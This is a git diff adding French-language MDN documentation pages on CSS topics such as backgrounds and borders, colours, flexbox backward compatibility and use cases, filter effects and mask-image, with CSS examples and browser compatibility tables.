+ + diff --git a/files/fr/conflicting/web/css/css_backgrounds_and_borders/index.html b/files/fr/conflicting/web/css/css_backgrounds_and_borders/index.html new file mode 100644 index 0000000000..8873196702 --- /dev/null +++ b/files/fr/conflicting/web/css/css_backgrounds_and_borders/index.html @@ -0,0 +1,162 @@ +--- +title: Arrière-plans et bordures CSS +slug: Web/CSS/Arrière-plans_et_bordures_CSS +tags: + - CSS + - Référence(2) +translation_of: Web/CSS/CSS_Backgrounds_and_Borders +translation_of_original: Web/CSS/CSS_Background_and_Borders +--- +
{{CSSRef}}
+ +

Les arrière-plans et bordures CSS forment un module CSS qui définit la façon dont les arrière-plans et les bordures des éléments sont décrits. Les bordures peuvent ainsi être des lignes ou des images et les boîtes peuvent avoir un ou plusieurs arrière-plan, des coins arrondis, des ombres.

+ +

Référence

+ +

Propriétés CSS

+ +
+ +
+ +

Guides

+ +
+
Utiliser plusieurs arrière-plans CSS
+
Cet article explique comment définir plusieurs arrière-plans sur des éléments et la façon dont ceux-ci interagissent.
+
Redimensionner des images d'arrière-plan
+
Cet article décrit comment modifier l'apparence des images d'arrière-plan en les étirant ou en les retirant afin de couvrir (ou non) tout un élément.
+
+ +

Outils

+ +
+
Générateur de border-image
+
Cet outil interactif permet de créer, de façon visuelle, des bordures avec images pour {{cssxref("border-image")}}.
+
Générateur de border-radius
+
Cet outil interactif permet de créer des bordures arrondies pour {{cssxref("border-radius")}}.
+
Générateur de box-shadow
+
Cet outil interactif permet de créer des ombres portées derrière les éléments avec {{cssxref("box-shadow")}}.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('CSS3 Backgrounds')}}{{Spec2('CSS3 Backgrounds')}} 
{{SpecName('CSS2.1', 'box.html')}}{{Spec2('CSS2.1')}} 
{{SpecName('CSS1', '#border')}}{{Spec2('CSS1')}} 
+ +

Compatibilité des navigateurs

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FonctionnalitéChromeFirefox (Gecko)Internet ExplorerOperaSafari
Support simple1.0{{CompatGeckoDesktop("1.0")}}4.03.51.0 (85)
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FonctionnalitéAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Support simple{{CompatVersionUnknown}}{{CompatGeckoMobile("1.9.2")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}1.0
+
diff --git a/files/fr/conflicting/web/css/css_color/index.html b/files/fr/conflicting/web/css/css_color/index.html new file mode 100644 index 0000000000..fb589fa689 --- /dev/null +++ b/files/fr/conflicting/web/css/css_color/index.html @@ -0,0 +1,133 @@ +--- +title: Couleurs CSS +slug: Web/CSS/Couleurs_CSS +tags: + - Aperçu + - CSS + - CSS Color + - Reference +translation_of: Web/CSS/CSS_Color +translation_of_original: Web/CSS/CSS_Colors +--- +
{{CSSRef}}
+ +

Les couleurs CSS (CSS Color en anglais) forment un module CSS qui décrit la manipulation des couleurs, les types de données liées aux couleurs et l'application de la transparence en CSS.

+ +

Référence

+ +

Propriétés CSS

+ +
+ +
+ +

Types de donnée

+ +
+ +
+ +

Guide

+ +
+
Appliquer des couleurs sur des éléments HTML grâce à CSS
+
Un guide qui illustre comment utiliser CSS afin d'appliquer des couleurs sur différents contenus.
+
+ +

Outils

+ +
+
Un sélecteur de couleurs
+
Cet outil vous permet de créer, ajuster et manipuler des couleurs.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('CSS3 Colors')}}{{Spec2('CSS3 Colors')}} 
{{SpecName('CSS2.1', 'colors.html')}}{{Spec2('CSS2.1')}} 
{{SpecName('CSS1')}}{{Spec2('CSS1')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FonctionnalitéChromeFirefox (Gecko)Internet ExplorerOperaSafari
Support simple1.0{{CompatGeckoDesktop("1")}}3.03.51.0
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FonctionnalitéAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Support simple1.0{{CompatGeckoMobile("1")}}6.06.01.0
+
+ +

Voir aussi

+ + diff --git a/files/fr/conflicting/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html b/files/fr/conflicting/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html new file mode 100644 index 0000000000..b36e1eb0f4 --- /dev/null +++ b/files/fr/conflicting/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html @@ -0,0 +1,121 @@ +--- +title: Rétrocompatibilité de flexbox +slug: Web/CSS/CSS_Flexible_Box_Layout/Rétrocompatibilite_de_flexbox +tags: + - '@supports' + - Boîtes flexibles + - CSS + - Guide + - Intermediate + - flexbox +translation_of: Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox +--- +
{{CSSRef}}
+ +

Les boîtes flexibles (flexbox) sont largement prises en charge parmi les navigateurs modernes. Toutefois, quelques problèmes peuvent survenir. Dans ce guide, nous verrons précisément quelle est la prise en charge des boîtes flexibles dans les navigateurs. Nous verrons les problèmes éventuels ainsi que les ressources et méthodes afin de créer des méthodes de contournement ou des alternatives.

+ +

Il était une fois flexbox…

+ +

Comme toute spécification CSS, la spécification Flexbox a vu de nombreuses modifications avant d'atteindre le statut de Candidate Recommendation dont elle dispose aujourd'hui. Dans cet état actuel, il ne devrait pas y avoir de modification majeur dans la spécification, mais cette stabilité n'a pas toujours existé par le passé.

+ +

Les boîtes flexibles ont été implémentées de façon expérimentale dans plusieurs navigateurs. À cette époque, créer une implémentation expérimentale consistait à utiliser un préfixe spécifique. Ces préfixes devaient permettre aux implémentations de la spécification d'être testées et manipulées par les développeurs des navigateurs et par les développeurs web, sans qu'il y ait de conflit avec les autres implémentations. On ne devait pas utiliser d'implémentation expérimentale pour du code de production. Toutefois, les préfixes ont fini par être utilisés en production et les modifications apportées à la spécification expérimentale nécessitaient une réactivité des développeurs web pour maintenir leurs sites.

+ +

En 2009, la spécification était plutôt différente. Pour créer un conteneur flexible, il fallait utiliser display: box et on disposait ensuite de différentes propriétés box-* qui permettaient d'obtenir des résultats semblables à ceux qu'offrent les boîtes flexibles actuelles.

+ +

Vint ensuite une mise à jour de la spécification pour mettre à jour la syntaxe : display: flexbox — là encore, ces valeurs étaient préfixées.

+ +

Enfin, la spécification a été mise à jour pour définir display: flex comme façon de créer un conteneur flexible. La prise en charge des navigateurs sur la version à jour de la spécification est excellent à partir de ce moment.

+ +

Quelques anciens articles font référence à d'anciennes versions de la spécification. Ceux-ci sont facilement identifiables en raison des modifications concernant la création d'un conteneur flexible. Si vous lisez des règles telles que display: box ou display: flexbox, vous pouvez en déduire qu'il s'agit d'informations obsolètes.

+ +

État de la compatibilité des navigateurs

+ +

La prise en charge des navigateurs pour les boîtes flexibles est excellente et la grande partie des navigateurs n'ont pas besoin de préfixe. Safari a été le dernier des principaux navigateurs à retirer les préfixes avec la sortie de Safari 9 en 2015. Les deux navigateurs pour lesquels il est nécessaire de faire attention à la compatibilité sont :

+ + + +

On notera qu'Internet Explorer 11 prend bien en charge la spécification actuelle avec display: flex mais que de nombreux bugs sont présents dans cette implémentation.

+ +

Problèmes fréquents

+ +

La plupart des problèmes relatifs aux boîtes flexibles sont liés aux modifications de la spécification lors de son développement et au fait que de nombreux développeurs ont essayé d'utiliser des implémentations expérimentales en production. Si vous souhaitez garantir une rétrocompatibilité avec certaines anciennes versions de navigateurs et notamment IE10 et IE11, le site Flexbugs représente une ressource précieuse. Vous pourrez voir que de nombreux bugs sont présents pour d'anciennes versions des navigateurs et sont désormais corrigés pour les versions actuelles. Chacun de ces bugs possède une méthode de contournement associée, ce qui peut faire gagner un temps précieux.

+ +

Si vous souhaitez inclure de très anciens navigateurs prenant en charge les boîtes flexibles, il vous faudra inclure les préfixes éditeurs dans votre feuille CSS, en plus de la version non-préfixée. Cela devient de moins en moins nécessaire vue l'étendue de la compatibilité actuelle.

+ +
.wrapper {
+  display: -webkit-box;
+  display: -webkit-flex;
+  display: -ms-flexbox;
+  display: flex;
+}
+ +

Autoprefixer Online est un outil utile pour déterminer quels préfixes sont recommandés selon les versions des navigateurs qu'on souhaite prendre en charge. Vous pouvez également consulter Can I Use ou les tableaux de compatibilité en bas des pages de référence MDN pour savoir quand les préfixes ont été retirés des navigateurs.

+ +

Techniques de recours

+ +

La mise en place des boîtes flexibles dans un document est effectuée grâce à la propriété {{cssxref("display")}}. Lorsqu'on souhaite prendre en charge de très anciens navigateurs qui ne prennent pas du tout en charge les boîtes flexibles, des méthodes alternatives peuvent être construites en surchargeant une méthode de disposition par une autre. La spécification définit ce qui se produit si on utilise une autre méthode de disposition sur un élément qui devient ensuite un élément flexible.

+ +

Éléments flottants

+ +
+

“float et clear ne créent pas de flottement ou de dégagement pour les éléments flexibles et ne les retirent pas du flux.” - 3. Conteneurs flexibles

+
+ +

Dans l'exemple qui suit, on a deux blocs flottants et on applique ensuite display: flex sur le conteneur. Les éléments sont alors des éléments flexibles ce qui signifie qu'ils sont étirés sur des hauteurs égales. Tout comportement associé au flottement n'aura pas lieu.

+ +

Pour tester le comportement alternatif, vous pouvez retirer display: flex du conteneur englobant.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/browsers/float.html", '100%', 550)}}

+ +

display: inline-block

+ +

Lorsqu'un élément disposé avec inline-block devient un élément flexible, cet élément devient analogue à un bloc et le comportement de display: inline-block qui permet de conserver les espaces blancs entre les éléments ne s'applique plus.

+ +

Vous pouvez retirer la règle avec display: flex dans l'exemple qui suit pour voir le comportement alternatif. Vous verrez de l'espace ajouté entre les éléments car c'est ce que préfère display: inline-block.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/browsers/inline-block.html", '100%', 550)}}

+ +

display: table-

+ +

Les propriétés CSS relatives aux dispositions en tableaux s'avèrent potentiellement très utiles comme méthode de recours car elles permettent d'obtenir des organisations de contenu analogues avec des colonnes sur toute la hauteur, du centrage vertical et car elles fonctionnent jusqu'à Internet Explorer 8.

+ +

Si vous utilisez display: table-cell sur un élément HTML, cet élément récupèrera la mise en forme d'une cellule de tableau HTML. Pour celles-ci, CSS crée des boîtes anonymes qui représentent ces éléments et il n'est pas nécessaire d'envelopper chaque élément dans un conteneur pour représenter une ligne puis dans un second qui représente le tableau. Il n'est pas possible de mettre en forme ces boîtes anonymes, celles-ci servent uniquement à corriger la structure.

+ +

Si vous déclarez ensuite display: flex sur l'élément parent, ces boîtes anonymes ne sont pas créées et l'élément redevient un enfant direct qui peut devenir un élément flexible, perdant tout aspect relatif au tableau.

+ +
+

“Note : certaines valeurs de display déclenchent normalement la création de boîtes anonymes autour de la boîte originale. Si une telle boîte est un élément flexible, cet élément devient un bloc puis la création des boîtes anonymes n'a pas lieu. Ainsi, deux éléments flexibles adjacents avec display: table-cell deviendront deux éléments flexibles distincts avec display: block plutôt que d'être enveloppés au sein d'un même tableau anonyme.” - 4. Éléments flexibles

+
+ +

{{EmbedGHLiveSample("css-examples/flexbox/browsers/table-cell.html", '100%', 550)}}

+ +

La propriété vertical-align

+ +

L'exemple qui suit illustre l'utilisation de la propriété {{cssxref("vertical-align")}} associée au mode display: inline-block. Les deux modes display: table-cell et display: inline-block permettent d'utiliser cette propriété. La propriété vertical-align permet d'opérer un alignement vertical avant l'application des boîtes flexibles. Cette propriété est ignorée avec les boîtes flexibles et elle peut donc être utilisée avec display: table-cell ou display: inline-block comme méthode d'alignement alternative aux propriétés d'alignement des boîtes flexibles.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/browsers/vertical-align.html", '100%', 550)}}

+ +

Requêtes de fonctionnalités et flexbox

+ +

Il est possible d'utiliser les requêtes de fonctionnalité (feature queries) afin de détecter la prise en charge des boîtes flexibles :

+ +
@supports (display: flex) {
+  // code utilisé pour les navigateurs qui
+  // prennent en charge cette fonctionnalité
+}
+ +

On notera qu'Internet Explorer 11 ne prend pas en charge les requêtes de fonctionnalité mais prend bien en charge les boîtes flexibles. Si vous choisissez de considérer l'implémentation d'IE11 comme étant trop erronée et que vous souhaitez que ce navigateur utilise votre code de recours, vous pouvez alors utiliser les requêtes de fonctionnalité pour ne servir le code flexbox qu'aux navigateurs qui disposent d'une prise en charge suffisante. Pour rappel, si on souhaite inclure les versions des navigateurs qui utilisaient des préfixes spécifiques, on devra inclure la version préfixée dans la requête de fonctionnalité. La requête suivant inclura par exemple UC Browser qui prend en charge les requêtes de fonctionnalités et une ancienne syntaxe, préfixée, pour les boîtes flexibles :

+ +
@supports (display: flex) or (display: -webkit-box) {
+  // code pour les navigateurs qui
+  // prennent en charge cette fonctionnalité
+}
+ +

Pour plus d'informations sur les requêtes de fonctionnalités, vous pouvez lire Using Feature Queries in CSS (en anglais) sur le blog Hacks de Mozilla.

+ +

Conclusion

+ +

Bien que nous ayons vu ici certains problèmes potentiels et méthodes alternatives, les boîtes flexibles peuvent tout à fait être utilisées en production et de façon généralisée. Ce guide vous sera utile si vous rencontrez un problème particulier ou qu'il vous faut prendre en charge de plus vieux navigateurs.

diff --git a/files/fr/conflicting/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html b/files/fr/conflicting/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html new file mode 100644 index 0000000000..f91090e0dc --- /dev/null +++ b/files/fr/conflicting/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html @@ -0,0 +1,188 @@ +--- +title: Utiliser les boîtes flexibles pour les applications web +slug: Web/CSS/CSS_Flexible_Box_Layout/Boîtes_flexibles_pour_applications_web +tags: + - Avancé + - CSS + - Guide +translation_of: Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox +translation_of_original: Web/CSS/CSS_Flexible_Box_Layout/Using_flexbox_to_lay_out_web_applications +--- +
{{CSSRef}}
+ +

Les boîtes flexibles permettent de concevoir des dispositions qui s'appliquent mieux à des environnements mobiles et de bureau et qui peuvent servir aux applications web. Fini d'utiliser des éléments {{HTMLElement("div")}} flottants, le positionnement absolu et des bidouilles JavaScript. Quelques lignes CSS permettent de construire des dispositions verticales et horizontales, flexibles. Voici quelques exemples de cas d'utilisation :

+ + + +

Cet article ne couvre que l'utilisation des propriétés relatives aux boîtes flexibles non préfixées et standard. Pour plus d'informations sur les préfixes et les anciens navigateurs, se référer au guide plus générique sur la manipulation des boîtes flexibles en CSS.

+ +

Les bases

+ +

Pour qu'un élément flotte dans une boîte flexible, on peut utiliser la propriété {{cssxref("display")}} avec la valeur flex puis définir {{cssxref("flex-flow")}} avec la valeur row (si on souhaite que les éléments s'organisent horizontalement) ou avec la valeur column (si on souhaite que les éléments s'empilent verticalement). Si on veut avoir une boîte flexible horizontale et que les éléments « passent à la ligne » verticalement, on pourra définir la propriété wrap.

+ +

Ensuite, pour chaque élément qui s'inscrit dans le conteneur flexible, on pourra définir la propriété {{cssxref("flex")}}. Généralement, on utilisera les valeurs suivantes :

+ + + +

Il existe bien entendu d'autres possibilités en dehors de cas d'usage simples. Voici quelques exemples d'application.

+ +

Centrer un élément

+ +

Pour ce cas, le plus simple consiste à créer deux boîtes flexibles, l'une dans l'autre. Chaque boîte flexible aura trois élément, deux autour de l'élément centré ainsi que l'élément en question.

+ +

CSS

+ +
.vertical-box {
+  display: flex;
+  height: 400px;
+  width: 400px;
+  flex-flow: column;
+}
+.horizontal-box {
+  display: flex;
+  flex-flow: row;
+}
+.spacer {
+  flex: auto;
+  background-color: black;
+}
+.centered-element {
+  flex: none;
+  background-color: white;
+}
+
+ +

HTML

+ +
<div class="vertical-box">
+  <div class="spacer"></div>
+  <div class="centered-element horizontal-box">
+    <div class="spacer"></div>
+    <div class="centered-element">Centered content</div>
+     <div class="spacer"></div>
+  </div>
+  <div class="spacer"></div>
+</div>
+
+ +

Resultat

+ +

{{EmbedLiveSample('Centrer_un_élément', 500, 500)}}

+ +

Répartir des conteneurs verticalement

+ +

Prenons une page qui se compose d'un en-tête, d'une zone de contenu et d'un pied de page. On souhaite que l'en-tête et le pied de page aient la même taille mais que le contenu s'adapte selon l'espace disponible. Pour cela, on peut utiliser la propriété {{cssxref("flex")}} avec la valeur auto pour le contenu et la valeur none pour l'en-tête et le pied de page.

+ +

CSS

+ +
.vertical-box {
+  display: flex;
+  height: 400px;
+  width: 400px;
+  flex-flow: column;
+}
+.fixed-size {
+  flex: none;
+  height: 30px;
+  background-color: black;
+  text-align: center;
+}
+.flexible-size {
+  flex: auto;
+  background-color: white;
+}
+
+ +

HTML

+ +
<div id="document" class="vertical-box">
+  <div class="fixed-size"><button id="increase-size">Augmenter la taille du conteneur</button></div>
+  <div id="flexible-content" class="flexible-size"></div>
+  <div class="fixed-size"><button id="decrease-size">Réduire la taille du conteneur</button></div>
+</div>
+
+ +

JavaScript

+ +
var height = 400;
+document.getElementById('increase-size').onclick=function() {
+  height += 10;
+  if (height > 500) height = 500;
+  document.getElementById('document').style.height = (height + "px");
+}
+
+document.getElementById('decrease-size').onclick=function() {
+  height -= 10;
+  if (height < 300) height = 300;
+  document.getElementById('document').style.height = (height + "px");
+}
+ +

Résultat

+ +

{{EmbedLiveSample('Répartir_des_conteneurs_verticalement', 500, 500)}}

+ +

Créer un conteneur horizontal qui se replie

+ +

Dans certains cas, on veut pouvoir afficher des informations horizontalement lorsque l'écran le permet et les replier en vertical lorsque la taille est trop réduire. On peut obtenir cet effet simplement avec les boîtes flexibles en utilisant la valeur wrap sur la propriété {{cssxref("flex-flow")}}.

+ +

CSS

+ +
.horizontal-container {
+  display: flex;
+  width: 300px;
+  flex-flow: row wrap;
+}
+.fixed-size {
+  flex: none;
+  width: 100px;
+  background-color: black;
+  color: white;
+  text-align: center;
+}
+
+ +

HTML

+ +
<div id="container" class="horizontal-container">
+  <div class="fixed-size">Élément 1</div>
+  <div class="fixed-size">Élément 2</div>
+  <div class="fixed-size">Élément 3</div>
+</div>
+<button id="increase-size">Augmenter la taille du conteneur</button>
+<button id="decrease-size">Réduire la taille du conteneur</button>
+
+ +

JavaScript

+ +
var width = 300;
+
+document.getElementById('increase-size').onclick=function() {
+  width += 100;
+  if (width > 300) width = 300;
+  document.getElementById('container').style.width = (width + "px");
+}
+
+document.getElementById('decrease-size').onclick=function() {
+  width -= 100;
+  if (width < 100) width = 100;
+  document.getElementById('container').style.width = (width + "px");
+}
+
+ +

Résultat

+ +

{{EmbedLiveSample('Créer_un_conteneur_horizontal_qui_se_replie', 500, 200)}}

+ +

Voir aussi

+ + diff --git a/files/fr/conflicting/web/css/cursor/index.html b/files/fr/conflicting/web/css/cursor/index.html new file mode 100644 index 0000000000..a7121bf02e --- /dev/null +++ b/files/fr/conflicting/web/css/cursor/index.html @@ -0,0 +1,16 @@ +--- +title: '-moz-cell' +slug: Web/CSS/-moz-cell +tags: + - CSS + - Obsolete + - Propriété + - Reference +translation_of: Web/CSS/cursor +translation_of_original: Web/CSS/-moz-cell +--- +
+
{{CSSRef}}{{deprecated_header}}
+ +

Ne pas utiliser cette valeur ! C'est la valeur cursor {{cssxref("cursor#cell","cell")}} qui doit être utilisée à la place.

+
diff --git a/files/fr/conflicting/web/css/filter_effects/index.html b/files/fr/conflicting/web/css/filter_effects/index.html new file mode 100644 index 0000000000..6976999a5f --- /dev/null +++ b/files/fr/conflicting/web/css/filter_effects/index.html @@ -0,0 +1,115 @@ +--- +title: Filters Effects +slug: Web/CSS/Filters_Effects +tags: + - CSS + - Reference +translation_of: Web/CSS/Filter_Effects +translation_of_original: Web/CSS/Filters_Effects +--- +
{{CSSRef}}
+ +

Filter Effects (ou module des effets de filtre) est un module CSS qui définit une manière de traiter le rendu des éléments avant qu'ils ne soient affichés dans le document.

+ +

Référence

+ +

Propriétés CSS

+ +
+ +
+ +

Fonctions CSS

+ +
+ +
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Filters 1.0', '#FilterProperty', 'filter')}}{{Spec2('Filters 1.0')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéChromeFirefox (Gecko)EdgeInternet ExplorerOperaSafari (WebKit)
Support simple{{CompatChrome("18.0")}}{{property_prefix("-webkit")}}{{CompatGeckoDesktop(35)}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatOpera("15.0")}}{{property_prefix("-webkit")}}{{CompatSafari("6.0")}}{{property_prefix("-webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéAndroidFirefox Mobile (Gecko)EdgeIE MobileOpera MobileSafari Mobile
Support simle{{CompatAndroid("4.4")}}{{property_prefix("-webkit")}}{{CompatGeckoDesktop(35)}}{{CompatVersionUnknown}}{{CompatNo}}22.0 {{CompatVersionUnknown}}{{property_prefix("-webkit")}} +

6.0 {{CompatVersionUnknown}}{{property_prefix("-webkit")}}

+
+
diff --git a/files/fr/conflicting/web/css/float/index.html b/files/fr/conflicting/web/css/float/index.html new file mode 100644 index 0000000000..471bfdc5af --- /dev/null +++ b/files/fr/conflicting/web/css/float/index.html @@ -0,0 +1,43 @@ +--- +title: none +slug: Web/CSS/none +tags: + - CSS + - Référence CSS +translation_of: Web/CSS/float +translation_of_original: Web/CSS/none +--- +

{{ CSSRef() }}

+

Résumé

+

none est une valeur commune pour la plupart des propriétés CSS et souvent c'est la valeur par défaut. On peut la comparer à la valeur {{ Cssxref("normal") }} qui peut être utilisée de manière similaire pour d'autres propriétés.

+

Utilisation

+
+ Cette liste n'est pas exhaustive et les propriétés qui ne sont pas encore supportées par les différents navigateurs ne sont pas incluses.
+ +

Extensions Mozilla :

+ diff --git a/files/fr/conflicting/web/css/font-variant/index.html b/files/fr/conflicting/web/css/font-variant/index.html new file mode 100644 index 0000000000..5b611f0369 --- /dev/null +++ b/files/fr/conflicting/web/css/font-variant/index.html @@ -0,0 +1,36 @@ +--- +title: normal +slug: Web/CSS/normal +tags: + - CSS + - Référence CSS +translation_of: Web/CSS/font-variant +translation_of_original: Web/CSS/normal +--- +

{{ CSSRef() }}

+

Résumé

+

normal est une valeur commune pour certaines propriétés CSS et souvent c'est la valeur par défaut. On peut la comparer à la valeur {{ Cssxref("none") }} qui peut être utilisée de manière similaire pour d'autres propriétés.

+

Utilisation

+
+ Cette liste n'est pas exhaustive et les propriétés qui ne sont pas encore supportées par les différents navigateurs ne sont pas incluses.
+ +

Extensions Mozilla :

+ +

{{ languages( { "en": "en/CSS/normal", "es": "es/CSS/normal" } ) }}

diff --git a/files/fr/conflicting/web/css/index.html b/files/fr/conflicting/web/css/index.html new file mode 100644 index 0000000000..213bc187b5 --- /dev/null +++ b/files/fr/conflicting/web/css/index.html @@ -0,0 +1,25 @@ +--- +title: Astuces CSS +slug: Astuces_CSS +tags: + - CSS +translation_of: Web/CSS +translation_of_original: Useful_CSS_tips +--- +

+

Cette page présente quelques astuces concernant l'utilisation de CSS. Chaque astuce est prévue pour être aussi courte que possible et fournir les informations nécessaires sur les propriétés et caractéristiques les plus recherchées mais peu connues ou sujettes à des erreurs fréquentes. +

+

Astuces CSS:Couleurs et fonds

+
Du texte opaque sur un fond translucide +
+

Astuces CSS:Tableaux

+
Comment centrer un tableau +
La bonne bordure pour votre tableau +
Donnez un style à vos colonnes avec une solution en pur CSS +
Un tableau dont le contenu peut défiler mais les en-têtes restent fixes +
+

Astuces CSS:Liens

+
L'ordre correct pour les pseudo-classes d'ancres +
Comportement de survol quand il n'y a pas de texte +
+{{ languages( { "en": "en/Useful_CSS_tips" } ) }} diff --git a/files/fr/conflicting/web/css/mask-image/index.html b/files/fr/conflicting/web/css/mask-image/index.html new file mode 100644 index 0000000000..2303f48997 --- /dev/null +++ b/files/fr/conflicting/web/css/mask-image/index.html @@ -0,0 +1,175 @@ +--- +title: '-webkit-mask-image' +slug: Web/CSS/-webkit-mask-image +tags: + - CSS +translation_of: Web/CSS/mask-image +translation_of_original: Web/CSS/-webkit-mask-image +--- +

{{ CSSRef() }}

+ +

{{ Non-standard_header() }}

+ +

Résumé

+ +

La propriété CSS -webkit-mask-image définit l'image de masque pour un élément. L'image de masque découpe la portion visible d'un élément conformément aux valeurs de transparence de cette image.

+ + + +

Syntaxe

+ +
-webkit-mask-image:  <mask-image>[, <mask-image>]*
+
+ +

Valeurs :

+ +
+
<mask-image>
+
{{cssxref("<uri>")}} | <gradient> | none
+
+ +

Values

+ +
+
<uri>
+
Chemin de la ressource image utilisée comme masque.
+
 
+
<gradient>
+
Fonction-webkit-gradient utilisée comme masque.
+
none
+
Signifie que l'élément n'a pas de masque image.
+
+ +

Exemples

+ +
body {
+    -webkit-mask-image: url('images/mymask.png');
+}
+
+div {
+    -webkit-mask-image: url('images/foo.png'), url('images/bar.png');
+}
+
+p {
+    -webkit-mask-image: none;
+}
+
+ +

Notes

+ +

Si plusieurs images de masque sont spécifiées, la région visible résultat sera la combinaison des régions visibles de chaque image.

+ +

Compatibilité des navigateurs

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Support basique{{ CompatNo() }}1.0{{ CompatNo() }}{{ CompatNo() }}4.0
Images de masque multiples{{ CompatNo() }}1.0{{ CompatNo() }}{{ CompatNo() }}4.0
Dégradés{{ CompatNo() }}1.0{{ property_prefix("-webkit") }}{{ CompatNo() }}{{ CompatNo() }}4.0{{ property_prefix("-webkit") }}
Masques SVG{{ CompatNo() }}8.0{{ CompatNo() }}{{ CompatNo() }}4.0
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéiOS SafariOpera MiniOpera MobileAndroid Browser
Support basique3.2{{ CompatNo() }}{{ CompatNo() }}2.1
Images de masque multiplesyes{{ CompatNo() }}{{ CompatNo() }}yes
Dégradésyes {{ property_prefix("-webkit") }}{{ CompatNo() }}{{ CompatNo() }}yes{{ property_prefix("-webkit") }}
+

Masques SVG

+ 		+

yes

+ 		+

{{ CompatNo() }}

+ 		+

{{ CompatNo() }}

+ 		+

yes

+
+
+ +
Note : Gecko supporte les effets de filtre SVG depuis sa version 1.9.1. Ils peuvent être utilisés pour masquer du contenu HTML.
+ +

Voir également

+ +

{{ cssxref("-webkit-mask") }}, {{ cssxref("-webkit-mask-origin") }}, {{ cssxref("-webkit-mask-attachment") }},{{ cssxref("-webkit-mask-image") }},{{ cssxref("-webkit-mask-composite") }},{{ cssxref("-webkit-mask-repeat") }}

diff --git a/files/fr/conflicting/web/css/mozilla_extensions/index.html b/files/fr/conflicting/web/css/mozilla_extensions/index.html new file mode 100644 index 0000000000..98f3c88b72 --- /dev/null +++ b/files/fr/conflicting/web/css/mozilla_extensions/index.html @@ -0,0 +1,47 @@ +--- +title: Implémentation des fonctionnalités CSS à l'état de brouillon +slug: Web/CSS/Implémentation_des_Brouillons_CSS +tags: + - CSS + - Draft + - NeedsContent +translation_of: Web/CSS/Mozilla_Extensions +translation_of_original: Web/CSS/Draft_Implementations_of_CSS_Features +--- +
{{CSSRef}}{{Draft}}
+ +
+

Attention ! Cette page est incomplète et n'est pas à jour. Se référer aux pages suivantes pour plus d'informations :

+ + +
+ +

Mozilla gère un certain nombre d'extensions CSS préfixées par -moz-. La liste suivante contient toutes les extensions Mozilla correspondant aux  implémentations de fonctionnalités en cours de standardisation par le W3C. Les fonctionnalités propriétaires ne sont pas présentes dans cette liste.

+ +

Propriétés

+ +

...

+ +

Valeurs

+ +

...

+ +

Pseudo-éléments et pseudo-classes

+ +

...

+ +

Règles At

+ +

...

+ +

Requêtes de média

+ +

...

+ +

Autres

+ +

...

diff --git a/files/fr/conflicting/web/css/pseudo-classes/index.html b/files/fr/conflicting/web/css/pseudo-classes/index.html new file mode 100644 index 0000000000..c6c631c6c0 --- /dev/null +++ b/files/fr/conflicting/web/css/pseudo-classes/index.html @@ -0,0 +1,32 @@ +--- +title: Liens +slug: Astuces_CSS/Liens +tags: + - CSS +translation_of: Web/CSS/Pseudo-classes +translation_of_original: Useful_CSS_tips/Links +--- +

+

+

Les pseudo-classes d'ancre

+

Les feuilles de style CSS permettent de styler les ancres grâce à 4 pseudo-classes : +

+ +

À cause de la nature en cascade des styles CSS, il est important de déclarer les pseudo-classes dans l'ordre indiqué ci-dessus. Le style de :hover doit être placé après :link et :visited, sinon il serait écrasé par ces 2 derniers styles. De plus, comme :active est défini après :hover, quand un lien est aussi bien survolé que actif, le dernier style est appliqué. +

+

:hover quand il n'y a pas de texte

+

Normalement, la pseudo-classe :hover est appliquée quand un dispositif de pointage survole le texte du lien. Parfois, quand un lien est placé dans une cellule de tableau ou une barre de menu, verticale ou horizontale, il est nécessaire d'appliquer le style :hover quand le pointeur survole la cellule, là où il n'y a pas de texte. +

Un contournement pour avoir ce comportement est de styler l'ancre comme un block avec une largeur fixe. +

+
<a style="display: block; width: 150px;" href="#">Mon lien</a>
+
+

Articles connexes

+ +

Interwiki Languages Links +

{{ languages( { "en": "en/Useful_CSS_tips/Links" } ) }} diff --git a/files/fr/conflicting/web/css/scroll-snap-type/index.html b/files/fr/conflicting/web/css/scroll-snap-type/index.html new file mode 100644 index 0000000000..fff872ad27 --- /dev/null +++ b/files/fr/conflicting/web/css/scroll-snap-type/index.html @@ -0,0 +1,51 @@ +--- +title: '-ms-scroll-snap-type' +slug: Web/CSS/-ms-scroll-snap-type +tags: + - CSS + - Non-standard + - Reference +translation_of: Web/CSS/scroll-snap-type +translation_of_original: Web/CSS/-ms-scroll-snap-type +--- +
